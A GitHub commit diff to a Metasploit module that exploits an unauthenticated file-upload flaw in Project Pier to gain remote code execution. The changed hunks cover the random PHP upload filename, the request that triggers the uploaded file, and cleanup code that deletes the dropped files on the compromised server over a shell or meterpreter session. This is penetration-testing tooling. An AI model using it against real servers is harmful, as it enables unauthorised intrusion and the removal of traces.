Skip to content

Commit 82eaa32

Browse files
committed
Make cleanup work better
1 parent 3a66a07 commit 82eaa32

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/unix/webapp/projectpier_upload_exec.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,8 @@ def initialize(info={})
2020
This module exploits a vulnerability found in Project Pier. The application's
2121
uploading tool does not require any authentication, which allows a malicious user
2222
to upload an arbitrary file onto the web server, and then cause remote code
23-
execution by simply requesting it. This module is known to work against Apache
24-
servers due to the way it handles an extension name, but the vulnerability may
25-
not be exploitable on others.
23+
execution by simply requesting it. Please note this module only works best against
24+
an Apache server due to the way it handle an extension name.
2625
},
2726
'License' => MSF_LICENSE,
2827
'Author' =>
@@ -96,15 +95,16 @@ def on_new_session(cli)
9695
end
9796

9897
@clean_files.each do |f|
99-
print_status("#{@peer} - Remove: #{f}")
98+
print_debug("#{@peer} - Removing: #{f}")
10099
begin
101100
if cli.type == 'meterpreter'
102101
cli.fs.file.rm(f)
103102
else
104103
cli.shell_command_token("rm #{f}")
105104
end
105+
print_debug("File removed: #{f}")
106106
rescue ::Exception => e
107-
vprint_error("#{@peer} - Unable to remove #{f}: #{e.message}")
107+
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
108108
end
109109
end
110110
end
@@ -132,6 +132,7 @@ def exec_php(base, body)
132132
# Body example:
133133
# 0 ./upload/test/test.txt-0001
134134
uri = body.scan(/(\/.+$)/).flatten[0]
135+
@clean_files << File.basename(uri)
135136

136137
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
137138

@@ -151,7 +152,7 @@ def exploit
151152

152153
folder_name = Rex::Text.rand_text_alpha(4)
153154
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
154-
@clean_files = [php_fname]
155+
@clean_files = []
155156

156157
case target['Platform']
157158
when 'php'

0 commit comments

Comments
 (0)